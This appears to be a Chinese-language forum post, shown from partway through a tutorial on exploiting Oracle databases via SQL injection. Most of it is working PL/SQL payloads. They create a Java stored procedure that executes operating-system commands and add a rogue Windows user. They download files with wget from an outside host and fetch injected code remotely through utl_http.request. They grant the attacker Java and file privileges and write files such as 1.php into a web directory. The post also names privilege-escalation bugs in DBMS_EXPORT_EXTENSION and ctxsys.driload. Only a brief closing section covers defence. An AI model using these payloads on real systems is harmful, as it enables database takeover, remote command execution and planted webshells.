返回列表 发帖
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command); }}; ''; END; ';

  这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)''''; ''; END; ';

  这样放到我们的链接标记http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替换为utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试

  将shellcode.txt内容换成

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add''''); end; ''; END; ';

  或者在linux下就是

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget 链接标记http://www.loveshell.net -O /tmp/loveshell''''); end; ''; END; ';

呵呵,有可能成功,但是也有可能出现类似于下面的情况

  ERROR at line 1:  ORA-29532: Java call terminated by uncaught Java exception:

  java.security.AccessControlException: the Permission (java.io.FilePermission

  <> execute) has not been granted to LOVESHELL. The PL/SQL to grant

  this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',

  '<>', 'execute' )

  ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0

  ORA-06512: at line 1

  没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell; ''; END; ';

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<>'''',''''execute''''); end; ''; END; ';

  各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。

  根据自己的情况将这个语句类似的语句放到shellcode.txt里执行,然后就可以顺利地执行命令了。java本身是很强大的,直接返回shell也是可能的。当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为shellcode.txt里运行的代码

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type; begin fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if; end; ''; END; ';

这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/''''''; END; ';

这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public; ''; END; ';

  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test''''); end; ''; END; ';

  注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。

  五 环境限制

  上面演示的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的漏洞,漏洞跟版本有很大关系,所以上面的信息探测也比较重要。实际上,在早点的8i版本里也有类似的漏洞,ctxsys.driload.validate_stmt('grant dba to scott')这样的形式可以直接以高权限身份执行各种Oracle语句,也可以相应地用在web环境注射里。只要存在可用来执行多语句的漏洞,web注射就有非常大的利用价值。

  六 关于防护

  首先就是尽量有好的编程习惯,避免使用字符串连接的方式来执行Sql语句,如果一定要采用字符串连接方式来执行Sql,那也对进入的参数必须做好过滤,是数字类型的话就强制为数字,是字符串类型的就要做好过滤,从数据库等其他途径过来的数据也必须做好验证,在web app上杜绝Sql注射漏洞。另外在Oralce方面就是要做好对1521端口的防火墙过滤,避免被人直接登陆,对一些不需要的包和存储过程可以考虑删除,对一些Sql注射漏洞也要及时做好补丁,避免数据库的沦陷。


  

TOP

返回列表